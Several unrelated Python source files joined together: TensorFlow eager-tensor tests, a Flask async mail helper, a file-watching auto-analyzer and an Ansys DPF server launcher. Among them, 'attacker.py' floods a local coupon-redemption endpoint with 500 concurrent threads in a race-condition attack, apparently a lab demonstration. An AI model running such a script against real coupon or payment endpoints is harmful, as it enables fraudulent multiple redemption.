self.assertAllEqual(npt[-1:0, :, :], t[-1:0, :, :])
# empty interval in every dimension
self.assertAllEqual(npt[-1:0, 2:2, 2:3:-1], t[-1:0, 2:2, 2:3:-1])
def testEllipsis(self):
npt = np.array(
[[[[[1, 2], [3, 4], [5, 6]]], [[[7, 8], [9, 10], [11, 12]]]]])
t = constant_op.constant(npt)
self.assertAllEqual(npt[0:], t[0:])
# implicit ellipsis
self.assertAllEqual(npt[0:, ...], t[0:, ...])
# ellipsis alone
self.assertAllEqual(npt[...], t[...])
# ellipsis at end
self.assertAllEqual(npt[0:1, ...], t[0:1, ...])
# ellipsis at begin
self.assertAllEqual(npt[..., 0:1], t[..., 0:1])
# ellipsis at middle
self.assertAllEqual(npt[0:1, ..., 0:1], t[0:1, ..., 0:1])
def testShrink(self):
npt = np.array([[[[[1, 2, 4, 5], [5, 6, 7, 8], [9, 10, 11, 12]]],
[[[13, 14, 15, 16], [17, 18, 19, 20], [21, 22, 23, 24]]]]])
t = constant_op.constant(npt)
self.assertAllEqual(npt[:, :, :, :, 3], t[:, :, :, :, 3])
self.assertAllEqual(npt[..., 3], t[..., 3])
self.assertAllEqual(npt[:, 0], t[:, 0])
self.assertAllEqual(npt[:, :, 0], t[:, :, 0])
@test_util.run_gpu_only
def testOpWithInputsOnDifferentDevices(self):
# The GPU kernel for the Reshape op requires that the
# shape input be on CPU.
value = constant_op.constant([1., 2.]).gpu()
shape = constant_op.constant([2, 1])
reshaped = array_ops.reshape(value, shape)
self.assertAllEqual([[1], [2]], reshaped.cpu())
def testInt64(self):
# Fill requires the first input to be an int32 tensor.
self.assertAllEqual(
[1.0, 1.0],
array_ops.fill(constant_op.constant([2], dtype=dtypes.int64),
constant_op.constant(1)))
@test_util.run_gpu_only
def testOutputOnHostMemory(self):
# The Shape op kernel on GPU places the output in host memory.
value = constant_op.constant([1.]).gpu()
shape = array_ops.shape(value)
self.assertEqual([1], shape.numpy())
@test_util.run_gpu_only
def testSilentCopy(self):
# Temporarily replace the context
# pylint: disable=protected-access
old_context = context.context()
context._set_context(context.Context())
try:
config.set_device_policy('silent')
cpu_tensor = constant_op.constant(1.0)
gpu_tensor = cpu_tensor.gpu()
self.assertAllEqual(cpu_tensor + gpu_tensor, 2.0)
finally:
context._set_context(old_context)
# pylint: enable=protected-access
@test_util.run_gpu_only
def testSoftPlacement(self):
# Temporarily replace the context
# pylint: disable=protected-access
old_context = context.context()
context._set_context(context.Context())
try:
config.set_device_policy('silent')
config.set_soft_device_placement(True)
cpu_tensor = constant_op.constant(1.0)
result = cpu_tensor + cpu_tensor
self.assertEqual(result.device,
'/job:localhost/replica:0/task:0/device:GPU:0')
finally:
context._set_context(old_context)
# pylint: enable=protected-access
def testRandomUniform(self):
scalar_shape = constant_op.constant([], dtype=dtypes.int32)
x = random_ops.random_uniform(scalar_shape)
self.assertEqual(0, x.shape.ndims)
self.assertEqual(dtypes.float32, x.dtype)
x = random_ops.random_uniform(
scalar_shape, minval=constant_op.constant(5.),
maxval=constant_op.constant(6.))
self.assertLess(x, 6)
self.assertGreaterEqual(x, 5)
def testArgsToMatchingEagerDefault(self):
# Uses default
ctx = context.context()
allowed_dtypes = [dtypes.int32, dtypes.int64]
# Follows standard int conversion rules
t, r = execute.args_to_matching_eager([[3, 4]], ctx, allowed_dtypes,
dtypes.int32)
self.assertEqual(t, dtypes.int32)
self.assertEqual(r[0].dtype, dtypes.int32)
t, r = execute.args_to_matching_eager([[3, 4]], ctx, allowed_dtypes,
dtypes.int64)
self.assertEqual(t, dtypes.int32)
self.assertEqual(r[0].dtype, dtypes.int32)
# Use int64 since it is a better fit
t, r = execute.args_to_matching_eager([[2**48]], ctx, allowed_dtypes,
dtypes.int32)
self.assertEqual(t, dtypes.int64)
self.assertEqual(r[0].dtype, dtypes.int64)
# When the regular tensor conversion fails, then use the default type as a
# hint.
allowed_dtypes = [dtypes.uint32, dtypes.uint32]
t, r = execute.args_to_matching_eager([[3, 4]], ctx, allowed_dtypes,
dtypes.uint32)
self.assertEqual(t, dtypes.uint32)
self.assertEqual(r[0].dtype, dtypes.uint32)
t, r = execute.args_to_matching_eager([[3, 4]], ctx, allowed_dtypes,
dtypes.uint64)
self.assertEqual(t, dtypes.uint64)
self.assertEqual(r[0].dtype, dtypes.uint64)
t, r = execute.args_to_matching_eager([], ctx, allowed_dtypes, dtypes.int64)
self.assertEqual(t, dtypes.int64)
# Doesn't use default
allowed_dtypes = [dtypes.int32, dtypes.string]
t, r = execute.args_to_matching_eager([['string', 'arg']], ctx,
allowed_dtypes, dtypes.int32)
self.assertEqual(t, dtypes.string)
self.assertEqual(r[0].dtype, dtypes.string)
def testFlattenLayer(self):
flatten_layer = core.Flatten()
x = constant_op.constant([[[-10, -20], [-30, -40]], [[10, 20], [30, 40]]])
y = flatten_layer(x)
self.assertAllEqual([[-10, -20, -30, -40], [10, 20, 30, 40]], y)
def testIdentity(self):
self.assertAllEqual(2, array_ops.identity(2))
@test_util.run_gpu_only
def testIdentityOnVariable(self):
with context.device('/gpu:0'):
v = resource_variable_ops.ResourceVariable(True)
self.assertAllEqual(True, array_ops.identity(v))
def testIncompatibleSetShape(self):
x = constant_op.constant(1)
with self.assertRaises(ValueError):
x.set_shape((1, 2))
def testCompatibleSetShape(self):
x = constant_op.constant([[1, 2]])
x.set_shape(tensor_shape.TensorShape([None, 2]))
self.assertEqual(x.get_shape(), (1, 2))
@parameterized.named_parameters(
('Tensor', lambda: constant_op.constant(1.3+1j)),
('Variable', lambda: resource_variable_ops.ResourceVariable(1.3+1j)))
def testCastToPrimitiveTypesFrom(self, value_fn):
x = value_fn()
self.assertIsInstance(int(x), int)
self.assertEqual(int(x), 1)
self.assertIsInstance(float(x), float)
self.assertAllClose(float(x), 1.3)
self.assertIsInstance(complex(x), complex)
self.assertAllClose(complex(x), 1.3+1j)
def testCastNonScalarToPrimitiveTypesFails(self):
x = constant_op.constant([1.3, 2])
with self.assertRaises(TypeError):
int(x)
with self.assertRaises(TypeError):
float(x)
def testRange(self):
x = constant_op.constant(2)
self.assertEqual([0, 1], list(range(x)))
def testFormatString(self):
x = constant_op.constant(3.1415)
self.assertEqual('3.14', '{:.2f}'.format(x))
def testNoOpIsNone(self):
self.assertIsNone(control_flow_ops.no_op())
def testEagerContextPreservedAcrossThreads(self):
def init_fn():
self.assertTrue(context.executing_eagerly())
with ops.init_scope():
self.assertTrue(context.executing_eagerly())
context_switches = context.context().context_switches
self.assertLen(context_switches.stack, 1)
self.assertFalse(context_switches.stack[0].is_building_function)
self.assertEqual(context_switches.stack[0].enter_context_fn,
context.eager_mode)
self.assertTrue(context.executing_eagerly())
t1 = threading.Thread(target=init_fn)
t1.start()
t1.join()
def testWeakrefEagerTensor(self):
x = constant_op.constant([[1.]])
x.at1 = constant_op.constant([[2.]])
x.at2 = 3.
weak_x = weakref.ref(x)
weak_xat1 = weakref.ref(x.at1)
del x
self.assertIs(weak_x(), None)
self.assertIs(weak_xat1(), None)
def testWeakKeyDictionaryTensor(self):
weak_key_dict = weakref.WeakKeyDictionary()
strong_x = constant_op.constant([[1.]])
strong_y = constant_op.constant([[2.]])
strong_x_ref = strong_x.ref()
strong_y_ref = strong_y.ref()
weak_key_dict[strong_x_ref] = constant_op.constant([[3.]])
weak_key_dict[strong_y_ref] = constant_op.constant([[4.]])
strong_y.a = constant_op.constant([[5.]])
weak_x_ref = weakref.ref(strong_x)
del strong_x, strong_x_ref
self.assertIs(weak_x_ref(), None)
self.assertEqual([strong_y_ref], list(weak_key_dict))
self.assertLen(list(weak_key_dict), 1)
self.assertLen(weak_key_dict, 1)
del strong_y, strong_y_ref
self.assertEqual([], list(weak_key_dict))
def testEagerTensorsCanBeGarbageCollected(self):
x = constant_op.constant([[1.]])
y = constant_op.constant([[2.]])
x.y = y
y.x = x
weak_x = weakref.ref(x)
weak_y = weakref.ref(y)
del x
del y
gc.collect()
self.assertIs(weak_x(), None)
self.assertIs(weak_y(), None)
@test_util.disable_tfrt(
'b/153697193: tfrt cannot decode python stacktrace yet')
# TODO(b/234153596): Disabled because it invalidates stack traces on other
# tests (due to partial migration to absl::Status).
def DISABLED_testAsyncExceptionStackTrace(self):
config.set_synchronous_execution(False)
def exception_originated_from_here():
# Invalid shapes for matmul.
return math_ops.matmul([[1]], [[2], [3]])
# In sync mode, an exception would have been raised here but since this is
# in async, the exception will be raised next.
x = exception_originated_from_here()
with self.assertRaisesRegex(errors_impl.InvalidArgumentError,
'in exception_originated_from_here'):
x.numpy()
context.async_clear_error()
config.set_synchronous_execution(True)
def testCrossContextTensorCache(self):
old_context = context.context()
old_x = constant_op.constant(9.5)
context._set_context(context.Context())
try:
new_x = constant_op.constant(9.5)
self.assertEqual(new_x.numpy(), 9.5)
finally:
context._set_context(old_context)
self.assertEqual(old_x.numpy(), 9.5)
if __name__ == '__main__':
test.main()
|
mail_service.py | from threading import Thread
from flask_mail import Mail, Message
from resources.errors import InternalServerError
mail = Mail(app=None)
app = None
def initialize_mail_service(appiclation):
global mail
global app
mail = Mail(app=appiclation)
app = appiclation
def send_async_email(app, msg, mail):
with app.app_context():
try:
mail.send(msg)
except ConnectionRefusedError:
raise InternalServerError("[MAIL SERVER] not working")
def send_email(subject, sender, recipients, text_body, html_body):
msg = Message(subject, sender=sender, recipients=recipients)
msg.body = text_body
msg.html = html_body
Thread(target=send_async_email, args=(app, msg, mail)).start()
|
attacker.py | import threading
import requests
import time
def kupon_request():
global toplam_req
x = requests.get("http://127.0.0.1:8000/kupon_kullan", verify=False)
print(x.text)
toplam_req += 1
toplam_req = 0
num = 500
for i in range(num):
threading.Thread(target=kupon_request).start()
time.sleep(2)
print(str(toplam_req))
|
auto.py | import os
import glob
import time
import threading
import re
from .util import now, CasedFunction
try:
from .controller import Controller
USE_TK = True
except Exception:
from .altcontroller import Controller
USE_TK = False
class AutoAnalyzer:
def __init__(self, path, recursive=False, include=None, exclude=None,
dt=1, t_end=10*60*60, n_files=100):
"""
Parameters
----------
path : str
Path to the directory that will contain files for analysis.
recursive : bool, optional
If recursively search for files, by default False
include : str, optional [^1]
Only files whose name matches this regular expression will be analyzed.
exclude : str, optional [^1]
All the files whose name matches this regular expression will be ignored.
dt : float, optional
All the files will be scanned every `dt` seconds, by default 1 seconds.
t_end : float, optional
After `t_end` seconds this program will stop, by default 10 hours.
n_files : int, optional [^2]
After `n_files` files are analyzed this program will stop, by default
100 files.
[^1]: These paramters are very important when input files and output files have
the same extension (e.g. load a tif file, apply median filter, and save it as
tif file) because the newly saved file will be analyzed again.
[^2]: This parameter is also important in case `include` and `exclude` are set
inappropriately. n_files will be a `stopper` on this accident.
"""
if not os.path.exists(path):
raise FileNotFoundError(path)
self.path = path
# prepare pattern matching function
if include is None and exclude is None:
matches = lambda s: True
elif include is None and exclude is not None:
reg_ex = re.compile(exclude)
matches = lambda s: not reg_ex.match(s)
elif include is not None and exclude is None:
reg_in = re.compile(include)
matches = lambda s: reg_in.match(s)
else:
reg_in = re.compile(include)
reg_ex = re.compile(exclude)
matches = lambda s: reg_in.match(s) and not reg_ex.match(s)
# prepare scanning function
# scan() returns all the files under self.path
if recursive:
glob_path = os.path.join(self.path, "**", "*")
scan = lambda: (f for f in glob.glob(glob_path, recursive=True)
if matches(os.path.basename(f)) and
os.path.isfile(f))
else:
glob_path = os.path.join(self.path, "*")
scan = lambda: (f for f in glob.glob(glob_path)
if matches(os.path.basename(f)) and
os.path.isfile(f))
self.scan = scan
self.dt = dt
self.t_end = t_end
self.n_files = n_files
self.init()
def __repr__(self):
return "AutoAnalyzer at " + self.path
def init(self):
"""
Initialize the inner state of the analyzer.
"""
self.hist = [] # already analyzed file paths
self.last_ans = None
self.log = []
self.loop = False
self.function_dict = None # ext -> function
self.controller = None
self.function_running = False
return None
def run(self, funcs):
"""
Start auto-analysis.
Parameters
----------
funcs : dict(str->callable)
To specify what function will be called for each extension. For
example, `funcs={"tif": tif_func, "txt": txt_func}` means that
for path=".../XX.tif", `tif_func(path)` will be called and for
path=".../YY.txt", `txt_func(path)` will be called.
"""
if not USE_TK:
self.run_without_tk(funcs)
return None
th_run = threading.Thread(target=self._run_loop)
def stop(arg):
self.loop = False
self.controller.stop()
if self.function_running:
print("Stopped. Please wait until following function call ends:")
print(self.function_running)
if th_run.is_alive():
th_run.join()
self.init()
self.loop = True
self.function_dict = CasedFunction(funcs)
self.controller = Controller(stop)
try:
th_run.start()
self.controller.start()
except KeyboardInterrupt as e:
self._add_log("{} | {}".format(now(), "Keyboard Interrupt"))
stop(0)
raise KeyboardInterrupt(e)
stop(0)
return None
def run_without_tk(self, funcs):
"""
For Jython and some exceptions.
"""
self.init()
self.loop = True
self.function_dict = CasedFunction(funcs)
self.controller = Controller(None)
self._run_loop()
return None
def save_log(self, path=None):
if path is None:
path = os.path.join(self.path, "auto_log.txt")
with open(path, "w") as f:
f.write("\n".join(self.log))
return None
def _run_loop(self):
self._add_log("{} | start scanning.".format(now()))
t0 = time.time()
while self.loop:
for f in self.scan():
if f not in self.hist:
self._run(f)
if time.time() - t0 > self.t_end:
print("Analysis time exceeded {} sec.".format(self.t_end))
print("For longer analysis, set t_end to larger value (10 hr by default).")
self.loop = False
break
if len(self.hist) > self.n_files:
print("Number of analyzed files exceeded {}".format(self.n_files))
print("For larger number, set n_files to larger value (100 by default).")
self.loop = False
break
time.sleep(self.dt)
return None
def _add_log(self, content):
self.log.append(content)
self.controller.print_txt(self.log[-1])
return None
def _run(self, fp):
_, ext = os.path.splitext(fp)
func = self.function_dict[ext[1:]]
if func is not None:
try:
self.function_running = func.__name__
self.last_ans = func(fp)
self.function_running = None
except PermissionError:
# When the file is in a under-saving state
pass
except Exception as e:
# Keep scanning while displaying the exception
err_cls = e.__class__.__name__
self._add_log("{} | {}: {}".format(now(), err_cls, e))
self.hist.append(fp)
else:
self._add_log("{} | finished: {}".format(now(), fp))
self.hist.append(fp)
return None
|
server.py | """
Server
======
Contains the directives necessary to start the DPF server.
"""
from threading import Thread
import io
import platform
import logging
import time
import os
import socket
import subprocess
import grpc
import psutil
import weakref
import copy
from ansys import dpf
from ansys.dpf.core.misc import find_ansys, is_ubuntu, is_pypim_configured
from ansys.dpf.core import errors
from ansys.dpf.core._version import (
__ansys_version__,
server_to_ansys_version,
server_to_ansys_grpc_dpf_version
)
from ansys.dpf.core import session
import ansys.grpc.dpf
MAX_PORT = 65535
LOG = logging.getLogger(__name__)
LOG.setLevel("DEBUG")
# default DPF server port
DPF_DEFAULT_PORT = int(os.environ.get("DPF_PORT", 50054))
LOCALHOST = os.environ.get("DPF_IP", "127.0.0.1")
RUNNING_DOCKER = {"use_docker": "DPF_DOCKER" in os.environ.keys()}
if RUNNING_DOCKER["use_docker"]:
RUNNING_DOCKER["docker_name"] = os.environ.get("DPF_DOCKER")
RUNNING_DOCKER['args'] = ""
def shutdown_global_server():
try:
if dpf.core.SERVER != None:
dpf.core.SERVER.__del__()
except:
pass
#atexit.register(shutdown_global_server)
def has_local_server():
"""Check if a local DPF gRPC server has been created.
Returns
-------
bool
``True`` when a local DPF gRPC server has been created.
"""
return dpf.core.SERVER is not None
def _global_server():
"""Retrieve the global server if it exists.
If the global server has not been specified, check if the user
has specified the "DPF_START_SERVER" environment variable. If
``True``, start the server locally. If ``False``, connect to the
existing server.
"""
if hasattr(dpf, "core") and hasattr(dpf.core, "SERVER"):
if dpf.core.SERVER is None:
if os.environ.get("DPF_START_SERVER", "").lower() == "false":
ip = os.environ.get("DPF_IP", LOCALHOST)
port = int(os.environ.get("DPF_PORT", DPF_DEFAULT_PORT))
connect_to_server(ip, port)
elif is_pypim_configured():
# DpfServer constructor will start DPF through PyPIM
DpfServer(as_global=True, launch_server=True)
else:
start_local_server()
return dpf.core.SERVER
return None
def port_in_use(port, host=LOCALHOST):
"""Check if a port is in use at the given host.
The port must actually "bind" the address. Just checking to see if a
socket can be created is insufficient because it's possible to run into
permission errors like: ``An attempt was made to access a socket in a way
forbidden by its access permissions.``
Returns
-------
bool
``True`` when the port is in use, ``False`` when free.
"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
try:
sock.bind((host, port))
return False
except:
return True
def check_valid_ip(ip):
"""Check if a valid IP address is entered.
This method raises an error when an invalid IP address is entered.
"""
try:
socket.inet_aton(ip)
except OSError:
raise ValueError(f'Invalid IP address "{ip}"')
def shutdown_all_session_servers():
"""Shut down all active servers created by this module."""
from ansys.dpf.core import _server_instances
copy_instances = copy.deepcopy(_server_instances)
for instance in copy_instances:
try:
instance().shutdown()
except Exception as e:
print(e.args)
pass
def start_local_server(
ip=LOCALHOST,
port=DPF_DEFAULT_PORT,
ansys_path=None,
as_global=True,
load_operators=True,
use_docker_by_default=True,
docker_name=None,
timeout=10.
):
"""Start a new local DPF server at a given port and IP address.
This method requires Windows and ANSYS 2021 R1 or later. If ``as_global=True``, which is
the default) the server is stored globally, replacing the one stored previously.
Otherwise, a user must keep a handle on their server.
Parameters
----------
ip : str, optional
IP address of the remote or local instance to connect to. The
default is ``"LOCALHOST"``.
port : int
Port to connect to the remote instance on. The default is
``"DPF_DEFAULT_PORT"``, which is 50054.
ansys_path : str or os.PathLike, optional
Root path for the Ansys installation directory. For example, ``"/ansys_inc/v212/"``.
The default is the latest Ansys installation.
as_global : bool, optional
Global variable that stores the IP address and port for the DPF
module. All DPF objects created in this Python session will
use this IP and port. The default is ``True``.
load_operators : bool, optional
Whether to automatically load the math operators. The default is ``True``.
use_docker_by_default : bool, optional
If the environment variable DPF_DOCKER is set to a docker name and use_docker_by_default
is True, the server is ran as a docker (default is True).
docker_name : str, optional
To start DPF server as a docker, specify the docker name here.
timeout : float, optional
Maximum number of seconds for the initialization attempt.
The default is ``10``. Once the specified number of seconds
passes, a second attempt is made with twice the given timeout,
then if still no server has started, the connection fails.
Returns
-------
server : server.DpfServer
"""
use_docker = use_docker_by_default and (docker_name or RUNNING_DOCKER["use_docker"])
if not use_docker:
# If no custom path was given in input
# First check the environment variable for a custom path
if ansys_path is None:
ansys_path = os.environ.get("ANSYS_PATH")
# Then check for usual installation folders with AWP_ROOT and find_ansys
if ansys_path is None:
ansys_path = os.environ.get("AWP_ROOT" + __ansys_version__, find_ansys())
# If still no install has been found, throw an exception
if ansys_path is None:
raise ValueError(
"Unable to locate any Ansys installation.\n"
f'Make sure the "AWP_ROOT{__ansys_version__}" environment variable '
f"is set if using ANSYS version {__ansys_version__}.\n"
"You can also manually define the path to the ANSYS installation root folder"
" of the version you want to use (vXXX folder):\n"
'- when starting the server with "start_local_server(ansys_path=*/vXXX)"\n'
'- or by setting it by default with the environment variable "ANSYS_PATH"')
# verify path exists
if not os.path.isdir(ansys_path):
raise NotADirectoryError(f'Invalid Ansys path "{ansys_path}"')
# parse the version to an int and check for supported
try:
ver = int(str(ansys_path)[-3:])
if ver < 211:
raise errors.InvalidANSYSVersionError(f"Ansys v{ver} does not support DPF")
if ver == 211 and is_ubuntu():
raise OSError("DPF on v211 does not support Ubuntu")
except ValueError:
pass
elif RUNNING_DOCKER["use_docker"]:
docker_name = RUNNING_DOCKER["docker_name"]
# avoid using any ports in use from existing servers
used_ports = []
if dpf.core._server_instances:
for srv in dpf.core._server_instances:
if srv():
used_ports.append(srv().port)
while port in used_ports:
port += 1
# verify port is free
while port_in_use(port):
port += 1
if use_docker:
port = _find_port_available_for_docker_bind(port)
server = None
n_attempts = 10
timed_out = False
for _ in range(n_attempts):
try:
server = DpfServer(
ansys_path, ip, port, timeout=timeout, as_global=as_global,
load_operators=load_operators, docker_name=docker_name
)
break
except errors.InvalidPortError: # allow socket in use errors
port += 1
except TimeoutError:
if timed_out:
break
import warnings
warnings.warn(f"Failed to start a server in {timeout}s, " +
f"trying again once in {timeout*2.}s.")
timeout *= 2.
timed_out = True
if server is None:
raise OSError(
f"Unable to launch the server after {n_attempts} attempts. "
"Check the following path:\n{str(ansys_path)}\n\n"
"or attempt to use a different port"
)
dpf.core._server_instances.append(weakref.ref(server))
return server
def connect_to_server(ip=LOCALHOST, port=DPF_DEFAULT_PORT, as_global=True, timeout=10):
"""Connect to an existing DPF server.
This method sets the global default channel that is then used for the
duration of the DPF session.
Parameters
----------
ip : str
IP address of the remote or local instance to connect to. The
default is ``"LOCALHOST"``.
port : int
Port to connect to the remote instance on. The default is
``"DPF_DEFAULT_PORT"``, which is 50054.
as_global : bool, optional
Global variable that stores the IP address and port for the DPF
module. All DPF objects created in this Python session will
use this IP and port. The default is ``True``.
timeout : float, optional
Maximum number of seconds for the initialization attempt.
The default is ``10``. Once the specified number of seconds
passes, the connection fails.
Examples
--------
>>> from ansys.dpf import core as dpf
Create a server.
>>> #server = dpf.start_local_server(ip = '127.0.0.1')
>>> #port = server.port
Connect to a remote server at a non-default port.
>>> #specified_server = dpf.connect_to_server('127.0.0.1', port, as_global=False)
Connect to the localhost at the default port.
>>> #unspecified_server = dpf.connect_to_server(as_global=False)
"""
server = DpfServer(ip=ip, port=port, as_global=as_global, launch_server=False, timeout=timeout)
dpf.core._server_instances.append(weakref.ref(server))
return server
class DpfServer:
"""Provides an instance of the DPF server.
Parameters
-----------
server_bin : str or os.PathLike
Path for the DPF executable.
ip : str
IP address of the remote or local instance to connect to. The
default is ``"LOCALHOST"``.
port : int
Port to connect to the remote instance on. The default is
``"DPF_DEFAULT_PORT"``, which is 50054.
timeout : float, optional
Maximum number of seconds for the initialization attempt.
The default is ``10``. Once the specified number of seconds
passes, the connection fails.
as_global : bool, optional
Global variable that stores the IP address and port for the DPF
module. All DPF objects created in this Python session will
use this IP and port. The default is ``True``.
load_operators : bool, optional
Whether to automatically load the math operators. The default
is ``True``.
launch_server : bool, optional
Whether to launch the server on Windows.
docker_name : str, optional
To start DPF server as a docker, specify the docker name here.
"""
def __init__(
self,
ansys_path="",
ip=LOCALHOST,
port=DPF_DEFAULT_PORT,
timeout=10.,
as_global=True,
load_operators=True,
launch_server=True,
docker_name=None,
):
"""Start the DPF server."""
# check valid ip and port
check_valid_ip(ip)
if not isinstance(port, int):
raise ValueError("Port must be an integer")
address = "%s:%d" % (ip, port)
if os.name == "posix" and "ubuntu" in platform.platform().lower():
raise OSError("DPF does not support Ubuntu")
elif launch_server:
if is_pypim_configured() and not ansys_path and not docker_name:
self._remote_instance = launch_remote_dpf()
address = self._remote_instance.services["grpc"].uri
# Unset ip and port as it's created by address.
ip = None
port = None
else:
self._server_id = launch_dpf(str(ansys_path), ip, port,
docker_name=docker_name,
timeout=timeout)
self.channel = grpc.insecure_channel(address)
# assign to global channel when requested
if as_global:
dpf.core.SERVER = self
# TODO: add to PIDs ...
# store the address for later reference
self._address = address
self._input_ip = ip
self._input_port = port
self.live = True
self.ansys_path = str(ansys_path)
self._own_process = launch_server
self._base_service_instance = None
self._session_instance = None
check_ansys_grpc_dpf_version(self, timeout=timeout)
@property
def _base_service(self):
if not self._base_service_instance:
from ansys.dpf.core.core import BaseService
self._base_service_instance = BaseService(self, timeout=1)
return self._base_service_instance
@property
def _session(self):
if not self._session_instance:
self._session_instance = session.Session(self)
return self._session_instance
@property
def info(self):
"""Server information.
Returns
-------
info : dictionary
Dictionary with server information, including ``"server_ip"``,
``"server_port"``, ``"server_process_id"``, and
``"server_version"`` keys.
"""
return self._base_service.server_info
@property
def ip(self):
"""IP address of the server.
Returns
-------
ip : str
"""
try:
return self._base_service.server_info["server_ip"]
except:
return ""
@property
def port(self):
"""Port of the server.
Returns
-------
port : int
"""
try:
return self._base_service.server_info["server_port"]
except:
return 0
@property
def version(self):
"""Version of the server.
Returns
-------
version : str
"""
return self._base_service.server_info["server_version"]
@property
def os(self):
"""Get the operating system of the server
Returns
-------
os : str
"nt" or "posix"
"""
return self._base_service.server_info["os"]
def __str__(self):
return f"DPF Server: {self.info}"
def shutdown(self):
if self._own_process and self.live and self._base_service:
self._base_service._prepare_shutdown()
if hasattr(self, "_server_id") and self._server_id:
run_cmd = f"docker stop {self._server_id}"
process = subprocess.Popen(run_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
run_cmd = f"docker rm {self._server_id}"
for line in io.TextIOWrapper(process.stdout, encoding="utf-8"):
pass
process = subprocess.Popen(run_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
elif hasattr(self, "_remote_instance") and self._remote_instance:
self._remote_instance.delete()
else:
p = psutil.Process(self._base_service.server_info["server_process_id"])
p.kill()
time.sleep(0.01)
self.live = False
try:
if id(dpf.core.SERVER) == id(self):
dpf.core.SERVER = None
except:
pass
try:
for i, server in enumerate(dpf.core._server_instances):
if server() == self:
dpf.core._server_instances.remove(server)
except:
pass
def __eq__(self, other_server):
"""Return true, if the ip and the port are equals"""
if isinstance(other_server, DpfServer):
return self.ip == other_server.ip and self.port == other_server.port
return False
def __ne__(self, other_server):
"""Return true, if the ip or the port are different"""
return not self.__eq__(other_server)
def __del__(self):
try:
self.shutdown()
except:
pass
@property
def on_docker(self):
return hasattr(self, "_server_id") and self._server_id is not None
def check_version(self, required_version, msg=None):
"""Check if the server version matches with a required version.
Parameters
----------
required_version : str
Required version to compare with the server version.
msg : str, optional
Message for the raised exception if version requirements do not match.
Raises
------
dpf_errors : errors
errors.DpfVersionNotSupported is raised if failure.
Returns
-------
bool
``True`` if the server version meets the requirement.
"""
from ansys.dpf.core.check_version import server_meet_version_and_raise
return server_meet_version_and_raise(required_version, self, msg)
def _find_port_available_for_docker_bind(port):
run_cmd = "docker ps --all"
process = subprocess.Popen(run_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
used_ports = []
for line in io.TextIOWrapper(process.stdout, encoding="utf-8"):
if not "CONTAINER ID" in line:
split = line.split("0.0.0.0:")
if len(split) > 1:
used_ports.append(int(split[1].split("-")[0]))
while port in used_ports:
port += 1
return port
def _run_launch_server_process(ansys_path, ip, port, docker_name):
if docker_name:
docker_server_port = int(os.environ.get("DOCKER_SERVER_PORT", port))
dpf_run_dir = os.getcwd()
from ansys.dpf.core import LOCAL_DOWNLOADED_EXAMPLES_PATH
if os.name == "nt":
run_cmd = f"docker run -d -p {port}:{docker_server_port} " \
f"{RUNNING_DOCKER['args']} " \
f'-v "{LOCAL_DOWNLOADED_EXAMPLES_PATH}:/tmp/downloaded_examples" ' \
f"-e DOCKER_SERVER_PORT={docker_server_port} " \
f"--expose={docker_server_port} " \
f"{docker_name}"
else:
run_cmd = ["docker run",
"-d",
f"-p"+f"{port}:{docker_server_port}",
RUNNING_DOCKER['args'],
f'-v "{LOCAL_DOWNLOADED_EXAMPLES_PATH}:/tmp/downloaded_examples"'
f"-e DOCKER_SERVER_PORT={docker_server_port}",
f"--expose={docker_server_port}",
docker_name]
else:
if os.name == "nt":
executable = "Ans.Dpf.Grpc.bat"
run_cmd = f"{executable} --address {ip} --port {port}"
path_in_install = "aisol/bin/winx64"
else:
executable = "./Ans.Dpf.Grpc.sh" # pragma: no cover
run_cmd = [executable, f"--address {ip}", f"--port {port}"] # pragma: no cover
path_in_install = "aisol/bin/linx64" # pragma: no cover
# verify ansys path is valid
if os.path.isdir(f"{str(ansys_path)}/{path_in_install}"):
dpf_run_dir = f"{str(ansys_path)}/{path_in_install}"
else:
dpf_run_dir = f"{str(ansys_path)}"
if not os.path.isdir(dpf_run_dir):
raise NotADirectoryError(
f'Invalid ansys path at "{str(ansys_path)}". '
"Unable to locate the directory containing DPF at "
f'"{dpf_run_dir}"')
else:
if not os.path.exists(os.path.join(dpf_run_dir, executable)):
raise FileNotFoundError(
f'DPF executable not found at "{dpf_run_dir}". '
f'Unable to locate the executable "{executable}"')
old_dir = os.getcwd()
os.chdir(dpf_run_dir)
process = subprocess.Popen(run_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
os.chdir(old_dir)
return process
def launch_dpf(ansys_path, ip=LOCALHOST, port=DPF_DEFAULT_PORT, timeout=10., docker_name=None):
"""Launch Ansys DPF.
Parameters
----------
ansys_path : str or os.PathLike, optional
Root path for the Ansys installation directory. For example, ``"/ansys_inc/v212/"``.
The default is the latest Ansys installation.
ip : str, optional
IP address of the remote or local instance to connect to. The
default is ``"LOCALHOST"``.
port : int
Port to connect to the remote instance on. The default is
``"DPF_DEFAULT_PORT"``, which is 50054.
timeout : float, optional
Maximum number of seconds for the initialization attempt.
The default is ``10``. Once the specified number of seconds
passes, the connection fails.
docker_name : str, optional
To start DPF server as a docker, specify the docker name here.
Returns
-------
process : subprocess.Popen
DPF Process.
"""
process = _run_launch_server_process(ansys_path, ip, port, docker_name)
# check to see if the service started
lines = []
docker_id = []
def read_stdout():
for line in io.TextIOWrapper(process.stdout, encoding="utf-8"):
LOG.debug(line)
lines.append(line)
if docker_name:
docker_id.append(lines[0].replace("\n", ""))
docker_process = subprocess.Popen(f"docker logs {docker_id[0]}",
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
for line in io.TextIOWrapper(docker_process.stdout, encoding="utf-8"):
LOG.debug(line)
lines.append(line)
errors = []
def read_stderr():
for line in io.TextIOWrapper(process.stderr, encoding="utf-8"):
LOG.error(line)
errors.append(line)
# must be in the background since the process reader is blocking
Thread(target=read_stdout, daemon=True).start()
Thread(target=read_stderr, daemon=True).start()
t_timeout = time.time() + timeout
started = False
while not started:
started = any("server started" in line for line in lines)
if time.time() > t_timeout:
raise TimeoutError(f"Server did not start in {timeout} seconds")
# verify there were no errors
time.sleep(0.1)
if errors:
try:
process.kill()
except PermissionError:
pass
errstr = "\n".join(errors)
if "Only one usage of each socket address" in errstr:
from ansys.dpf.core.errors import InvalidPortError
raise InvalidPortError(f"Port {port} in use")
raise RuntimeError(errstr)
if len(docker_id) > 0:
return docker_id[0]
def launch_remote_dpf(version = None):
try:
import ansys.platform.instancemanagement as pypim
except ImportError as e:
